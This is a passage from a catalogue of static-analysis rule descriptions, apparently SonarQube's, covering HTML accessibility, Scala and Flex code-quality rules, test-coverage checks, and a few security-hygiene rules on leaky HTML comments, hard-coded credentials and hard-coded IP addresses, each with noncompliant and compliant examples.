  <!-- ... -->
</map>
Web:S5254

The <html> element should provide the lang and/or xml:lang attribute in order to identify the default language of a document.

It enables assistive technologies, such as screen readers, to provide a comfortable reading experience by adapting the pronunciation and accent to the language. It also helps braille translation software, telling it to switch the control codes for accented characters for instance.

Other benefits of marking the language include:

  • assisting user agents in providing dictionary definitions or helping users benefit from translation tools.
  • improving search engine ranking.

Both the lang and the xml:lang attributes can take only one value.

 

Noncompliant Code Example

<!DOCTYPE html>
<html> <!-- Noncompliant -->
    <head>
          <title>A page written in english</title>
          <meta content="text/html; charset=utf-8" />
    </head>  


    <body>     
    ...   
    </body>
</html>

Compliant Solution

<!DOCTYPE html>
<html lang="en">
    <head>
          <title>A page written in english</title>
          <meta content="text/html; charset=utf-8" />
    </head>  


    <body>     
    ...   
    </body>
</html>
<!DOCTYPE html>
<html lang="en" xml:lang="en">
    <head>
          <title>A page written in english</title>
          <meta content="text/html; charset=utf-8" />
    </head>  


    <body>     
    ...   
    </body>
</html>

See

Web:AvoidHtmlCommentCheck

Using HTML-style comments in a page that will be generated or interpolated server-side before being served to the user increases the risk of exposing data that should be kept private. For instance, a developer comment or line of debugging information that's left in a page could easily (and has) inadvertently expose:

  • Version numbers and host names
  • Full, server-side path names
  • Sensitive user data

Every other language has its own native comment format, thus there is no justification for using HTML-style comments in anything other than a pure HTML or XML file.

Ask Yourself Whether

  • The comment contains sensitive information.
  • The comment can be removed.

Recommended Secure Coding Practices

It is recommended to remove the comment or change its style so that it is not output to the client.

Sensitive Code Example

  <%
      out.write("<!-- ${username} -->");  // Sensitive
  %>
      <!-- <% out.write(userId) %> -->  // Sensitive
      <!-- #{userPhone} -->  // Sensitive
      <!-- ${userAddress} --> // Sensitive

      <!-- Replace 'world' with name --> // Sensitive
      <h2>Hello world!</h2>

Compliant Solution

      <%-- Replace 'world' with name --%>  // Compliant
      <h2>Hello world!</h2>

See

Web:ChildElementRequiredCheck

This rule checks that the specified child elements are present inside the specified parent elements.

Noncompliant Code Example

Given a parent/child combination of <head>/<title>:

<html>
  <head>
  </head>  <!-- Noncompliant; no title element -->
  <body>
    ...

Compliant Solution

<html>
  <head>
    <title>My Page</title>
  </head>
  <body>
    ...
Web:RequiredAttributeCheck

This rule checks that the specified attributes are present in HTML tags.

Noncompliant Code Example

Given a required attribute list of: img.alt,img.height,img.width:

<img src="/images/queen.png"> <!-- Noncompliant; missing all required attributes -->

Compliant Solution

<img src="/images/queen.png" width="60" height="85" alt="Elizabeth II">
Web:MaxLineLengthCheck

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

Web:UnclosedTagCheck

Even if all browsers are fault-tolerant, HTML tags should be closed to prevent any unexpected behavior.

Noncompliant Code Example

<html>
  <head>
    <title>Test Page    <!-- Noncompliant; title not closed -->
  <!-- Noncompliant; head not closed -->
  <body>
    <em>Emphasized Text  <!-- Noncompliant; em not closed -->
  <!-- Noncompliant; body not closed -->
</html>

Compliant Solution

<html>
  <head>
    <title>Test Page</title>
  </head>
  <body>
    <em>Emphasized Text</em>
  </body>
</html>
Web:FrameWithoutTitleCheck

Frames allow different web pages to be put together on the same visual space. Users without disabilities can easily scan the contents of all frames at once. However, visually impaired users using screen readers hear the page content linearly.

The title attribute is used to list all the page's frames, enabling those users to easily navigate among them. Therefore, the <frame> and <iframe> tags should always have a title attribute.

Noncompliant Code Example

<frame src="index.php?p=menu">                                      <-- Non-Compliant -->
<frame src="index.php?p=home" name="contents">                      <-- Non-Compliant -->

Compliant Solution

<frame src="index.php?p=menu" title="Navigation menu">              <-- Compliant -->
<frame src="index.php?p=home" title="Main content" name="contents"> <-- Compliant -->
Web:PageWithoutTitleCheck

Titles are important because they are displayed in search engine results as well as the browser's toolbar.

This rule verifies that the <head> tag contains a <title> one, and the <html> tag a <head> one.

Noncompliant Code Example

<html>         <!-- Non-Compliant -->

<body>
...
</body>

</html>

Compliant Solution

<html>         <!-- Compliant -->

<head>
  <title>Some relevant title</title>
</head>

<body>
...
</body>

</html>
Web:S5257

HTML <table> elements should not be used for layout purpose as it can confuse screen readers. It is recommended to use CSS instead.

This rule raises an issue on every <table> element containing a role attribute set to "presentation" or "none", which is how W3C recommends marks layout tables.

Noncompliant Code Example

<table role="presentation">
<!-- ... -->
</table>

See

Web:S5258

Tables used for layout should not include semantic markup, such as <th> elements, as it can confuses assistive technologies. At best this information will be ignored by screen readers and makes the code less maintainable. However it can also confuse some screen readers and reduce the web page accessibility.

This rule raises an issue when a <table> element containing the role attribute set to "presentation" or "none" also contains any of:

  • a <caption> element
  • a <th> element
  • a non-empty summary attribute
  • an <td> element with a headers or scope attribute

Noncompliant Code Example

<table role="presentation" summary="bla"> <!-- Noncompliant -->
  <caption>People</caption> <!-- Noncompliant -->
  <tr>
    <td></td>
    <th>Name</th> <!-- Noncompliant -->
    <th id="myid1">Age</th> <!-- Noncompliant -->
  </tr>
  <tr>
    <td scope="row">1</td> <!-- Noncompliant -->
    <td>John Doe</td>
    <td>24</td>
  </tr>
  <tr>
    <td id="myid2">2</td>
    <td headers="myid1 myid2">Alice Doe</td> <!-- Noncompliant -->
    <td>54</td>
  </tr>
</table>

See

  • WCAG2, 1.3.1 - Info and Relationships
  • WCAG2, F46 - Failure of Success Criterion 1.3.1 due to using th elements, caption elements, or non-empty summary attributes in layout tables
Web:S5255

If a page contains multiple <nav> or <aside> elements, each one should have an aria-label or aria-labelledby attribute so that they can be differentiated. The same rule applies when multiple elements have a role attribute with the same "landmark" value.

Landmark roles are: banner, complementary, contentinfo, form, main, navigation, search, application

The use of ARIA markup helps users of screen readers navigate across blocks of content. For example it makes groups of links easier to locate or skip.

Noncompliant Code Example

Multiple <nav> element

<nav> <!-- Noncompliant -->
    <ul>
        <li>A list of navigation links</li>
    </ul>
</nav>

<article>
    <nav> <!-- Noncompliant -->
        Another list of navigation links
    </nav>
</article>

Repeated "landmark" role "navigation"

<div id="mainnav" role="navigation"> <!-- Noncompliant -->
    <h2 id="mainnavheading">Site Navigation</h2>
    <ul>
       <li>List of links</li>
    </ul>
</div>
<div id="secondarynav" role="navigation"> <!-- Noncompliant -->
    <h2 id="secondarynavheading">Related links</h2>
    <ul>
       <li>List of links</li>
    </ul>
</div>

Compliant Solution

<nav aria-label="Site menu">
    <ul>
        <li>A list of navigation links</li>
    </ul>
</nav>

<article>
    <nav aria-label="Related links">
        Another list of navigation links
    </nav>
</article>
<div id="mainnav" role="navigation" aria-labelledby="mainnavheading">
    <h2 id="mainnavheading">Site Navigation</h2>
    <ul>
       <li>List of links</li>
    </ul>
</div>
<div id="secondarynav" role="navigation" aria-labelledby="secondarynavheading">
    <h2 id="secondarynavheading">Related links</h2>
    <ul>
       <li>List of links</li>
    </ul>
</div>

See

Web:S5256

Assistive technologies, such as screen readers, use <th> headers to provide some context when users navigates a table. Without it the user gets rapidly lost in the flow of data.

Headers should be properly associated with the corresponding <td> cells by using either a scope attribute or headers and id attributes. See W3C WAI Web Accessibility Tutorials for more information.

This rule raises an issue whenever a <table> does not contain any <th> elements.

Noncompliant Code Example

<table> <!-- Noncompliant -->
  <tr>
    <td>Name</td>
    <td>Age</td>
  </tr>
  <tr>
    <td>John Doe</td>
    <td>24</td>
  </tr>
  <tr>
    <td>Alice Doe</td>
    <td>54</td>
  </tr>
</table>

Compliant Solution

<table>
  <tr>
    <th scope="col">Name</th>
    <th scope="col">Age</th>
  </tr>
  <tr>
    <td>John Doe</td>
    <td>24</td>
  </tr>
  <tr>
    <td>Alice Doe</td>
    <td>54</td>
  </tr>
</table>

Exceptions

No issue will be raised on <table> used for layout purpose, i.e. when it contains a role attribute set to "presentation" or "none". Note that using <table> for layout purpose is a bad practice.

No issue will be raised on <table> containing an aria-hidden attribute set to "true".

See

Web:S4645

When parsing a script node, the browser treats its contents as plain text, and immediately finishes parsing when it finds the first closing </script> character sequence.

As a consequence, nested script nodes are not possible, because all opening <script> tags found along the way are ignored.

Web browsers doesn't support nested <script>...</script> elements. But there is no error in such case and browers just close the first encountered <script> tag as soon as a closing </script> tag is found along the way. So there is a big chance to display something totally unexpected to the end-users.

Noncompliant Code Example

<script type="text/template">
  <div>
    Hello!
  </div>
  <script type="text/javascript">  <!-- Noncompliant -->
    alert("Hi!");
  </script>
</script>

Compliant Solution

<script type="text/javascript">
  alert("Hi!");
</script>

<script type="text/template">
  <div>
    Hello!
  </div>
</script>
Web:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

int divide(int numerator, int denominator) {
  return numerator / denominator;              // FIXME denominator value might be  0
}

See

Web:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

See

Web:IllegalNamespaceCheck

This rule allows to ban declaration of some namespaces in the root element of XHML documents.

Noncompliant Code Example

With a "namespaces" value of "http://java.sun.com/jsf/facelets":

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
        xmlns:ui="http://java.sun.com/jsf/facelets"    <!-- Noncompliant -->
        xmlns:h="http://java.sun.com/jsf/html"
        xmlns:f="http://java.sun.com/jsf/core">

Compliant Solution

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
        xmlns:h="http://java.sun.com/jsf/html"
        xmlns:f="http://java.sun.com/jsf/core">
common-xml:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-xml:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-xml:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-xml:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-xml:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-xml:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-py:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-py:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-py:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-py:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-py:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-py:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-vbnet:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-vbnet:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-vbnet:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-vbnet:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-vbnet:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-vbnet:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
scala:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

scala:S138

A method that grows too large tends to aggregate too many responsibilities. Such method inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller methods which focus on well-defined tasks. Those smaller methods will not only be easier to understand, but also probably easier to test.

scala:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

scala:S1821

Nested match structures are difficult to understand because you can easily confuse the cases of an inner match as belonging to an outer statement. Therefore nested match statements should be avoided.

Specifically, you should structure your code to avoid the need for nested match statements, but if you cannot, then consider moving the inner match to another function.

Noncompliant Code Example

def foo(n: Int, m: Int): Unit = {
  n match {
    case 0 => m match {
        case 0 =>
        // ...
      }
    case 1 =>
    // ...
  }
}

Compliant Solution

def foo(n: Int, m: Int): Unit = {
  n match {
    case 0 => bar(m)
    case 1 =>
    // ...
  }
}

def bar(m: Int): Unit = {
  m match {
    case 0 =>
    // ...
  }
}
scala:S3923

Having all branches in a match or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a match/if chain at all.

Noncompliant Code Example

if (b == 0) { // Noncompliant
  doSomething
} else {
  doSomething
}

i match { // Noncompliant
  case 1 => doSomething
  case 2 => doSomething
  case 3 => doSomething
  case _ => doSomething
}

Exceptions

This rule does not apply to if chains without else-s, or to match-es without case _ alternatives.

if (b == 0) {
  doSomething
} else if (b == 1) {
  doSomething
}
scala:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression:

def DoSomething( ) : Unit = { // Noncompliant
   // ...
}

Compliant Solution

def doSomething( ) : Unit = {
   // ...
}
scala:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

println("Hello"); println("world!")

Compliant Solution

println("Hello")
println("world!")
scala:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class {...}

Compliant Solution

class MyClass {...}
scala:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.
scala:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (file != null) {
  if (file.isFile || file.isDirectory) {
    /* ... */
  }
}

Compliant Solution

if (file != null && isFileOrDirectory(file)) {
  /* ... */
}

def isFileOrDirectory(file: File): Boolean = file.isFile || file.isDirectory
scala:S1067

The complexity of an expression is defined by the number of && and || operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3:

if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... }

Compliant Solution

if ((myFirstCondition || mySecondCondition) && myLastCondition) { ... }
scala:S1144

private methods that are never executed are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

scala:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

  if (true) {
    doSomething
  }
  // ...
  if (false) {
    doSomethingElse
  }

Compliant Solution

  doSomething
  // ...

See

scala:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if (booleanMethod() || false) { /* ... */ }
doSomething(!false)

booleanVariable = if (booleanMethod()) true else false
booleanVariable = if (booleanMethod()) true else exp
booleanVariable = if (booleanMethod()) false else exp
booleanVariable = if (booleanMethod()) exp else true
booleanVariable = if (booleanMethod()) exp else false

Compliant Solution

if (booleanMethod()) { /* ... */ }
doSomething(true)

booleanVariable = booleanMethod()
booleanVariable = booleanMethod() || exp
booleanVariable = !booleanMethod() && exp
booleanVariable = !booleanMethod() || exp
booleanVariable = booleanMethod() && exp
scala:S1763

Jump statements (return) move control flow out of the current code block. So any statements that come after a jump are dead code.

Noncompliant Code Example

def foo(a: Int) {
  val i = 10;
  return a + i;       // Noncompliant
  bar;                // dead code
}

Compliant Solution

def foo(a: Int): Int {
  val i = 10;
  return a + i;
}

See

scala:S1862

A match and a chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

For a match, the second case will never be executed, rendering it dead code. Worse there is the risk in this situation that future maintenance will be done on the dead case, rather than on the one that's actually used.

Noncompliant Code Example

if (param == 1) {
  openWindow
} else if (param == 2) {
  closeWindow
} else if (param == 1) { // Noncompliant
  moveWindowToTheBackground
}

param match {
  case 1 =>
  // ...
  case 3 =>
  // ...
  case 1 => // Noncompliant
  // ...
  case _ =>
  //...
}

Compliant Solution

if (param == 1) {
  openWindow
} else if (param == 2) {
  closeWindow
} else if (param == 3) {
  moveWindowToTheBackground
}

param match {
  case 1 =>
  // ...
  case 3 =>
  // ...
  case _ =>
  //...
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
scala:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if (!(a == 2)) { ...}  // Noncompliant
val b = !(i < 10)  // Noncompliant

Compliant Solution

if (a != 2) { ...}
val b = (i >= 10)
scala:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Exceptions

This rule ignores *, +, and =.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
scala:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

if (i < 10) {}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty.

scala:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

scala:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final case _ clause in a match.

Noncompliant Code Example

if (x == 0) {
  doSomething
} else if (x == 1) {
  doSomethingElse
}

Compliant Solution

if (x == 0) {
  doSomething
} else if (x == 1) {
  doSomethingElse
} else {
  throw new IllegalStateException
}

Exceptions

When all branches of an if-else if end with return, break or throw, the code that comes after the if implicitly behaves as if it was in an else clause. This rule will therefore ignore that case.

See

scala:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public def run() {
  prepare("action random1")    // Noncompliant - "action random1" is duplicated 3 times
  execute("action random1")
  release("action random1")
}

Compliant Solution

public def run() {
  val action = "action random1"
  prepare(action)
  execute(action)
  release(action)
}

Exceptions

To prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'.

scala:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

scala:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

scala:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
scala:S1151

The match statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated method.

Noncompliant Code Example

With the default threshold of 5:

myVariable match {
  case 0 => // Noncompliant: 6 lines till next case
    methodCall1()
    methodCall2()
    methodCall3()
    methodCall4()
    methodCall5()
  case 1 =>
  // ...
}

Compliant Solution

myVariable match {
  case 0 => doSomething()
  case 1 =>
  // ...
}
// ...
def doSomething(): Unit = {
  methodCall1()
  methodCall2()
  methodCall3()
  methodCall4()
  methodCall5()
}
scala:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

scala:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

scala:S1479

When match expressions have a large number of clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

scala:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

def doSomething() = {
    var name = ""
    // ...
    name = name
}

Compliant Solution

def doSomething() = {
    var name = ""
    // ...
    this.name = name
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
scala:ParsingError

When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse.

scala:S4663

An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed.

Noncompliant Code Example

/* */

/*

 */
scala:S134

Nested if, for, while, match, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

scala:S4144

When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other.

Noncompliant Code Example

class Box(length: Int, width: Int, height: Int) {
  def volume: Int = {
    val s = length * width
    s * height
  }

  def area: Int = {
    val s = length * width
    s * height
  }
}

Compliant Solution

class Box(length: Int, width: Int, height: Int) {
  def volume: Int = {
    val s = length * width
    s * height
  }

  def area: Int = {
    length * width
  }
}

Exceptions

Methods with fewer than 2 statements are ignored.

scala:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
scala:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

See

scala:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

var result = numerator / denominator  // FIXME denominator value might be  0

See

scala:S1871

Having two cases in a match statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a match, one should fall through to the other.

Noncompliant Code Example

value match {
  case 1 =>
    doFirstThing
    doSomething
  case 2 =>
    doSomethingDifferent
  case 3 => // Noncompliant; duplicates case 1's implementation
    doFirstThing
    doSomething
  case _ =>
    doTheRest
}

if (a >= 0 && a < 10) {
  doFirstThing
  doTheThing
}
else if (a >= 10 && a < 20) {
  doTheOtherThing
}
else if (a >= 20 && a < 50) {
  doFirstThing
  doTheThing  // Noncompliant; duplicates first condition
}
else {
  doTheRest
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a match statement that contain a single line of code.

if(a == 1) {
  doSomething  //no issue, usually this is done on purpose to increase the readability
} else if (a == 2) {
  doSomethingElse
} else {
  doSomething
}

But this exception does not apply to if chains without else-s, or to match-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of match-es with default clauses, rule S3923 raises a bug.

if(a == 1) {
  doSomething  //Noncompliant, this might have been done on purpose but probably not
} else if (a == 2) {
  doSomething
}
scala:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

See

scala:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

scala:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

val ip = "192.168.12.42" // Sensitive
val socket = new Socket(ip, 6667)

Compliant Solution

val ips = Source.fromFile(configuration_file).getLines.toList // Compliant
val socket = new Socket(ips(0), 6667)

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

common-scala:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-scala:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-scala:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-scala:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-scala:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-scala:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-java:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-java:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-java:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-java:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-java:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-java:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-ts:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-ts:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-ts:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-ts:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-ts:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-ts:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
flex:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

flex:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

Noncompliant Code Example

public function numberOfMinutes(hours:int):int
{
  var seconds:int = 0;  // seconds is never used
  return hours * 60;
}

Compliant Solution

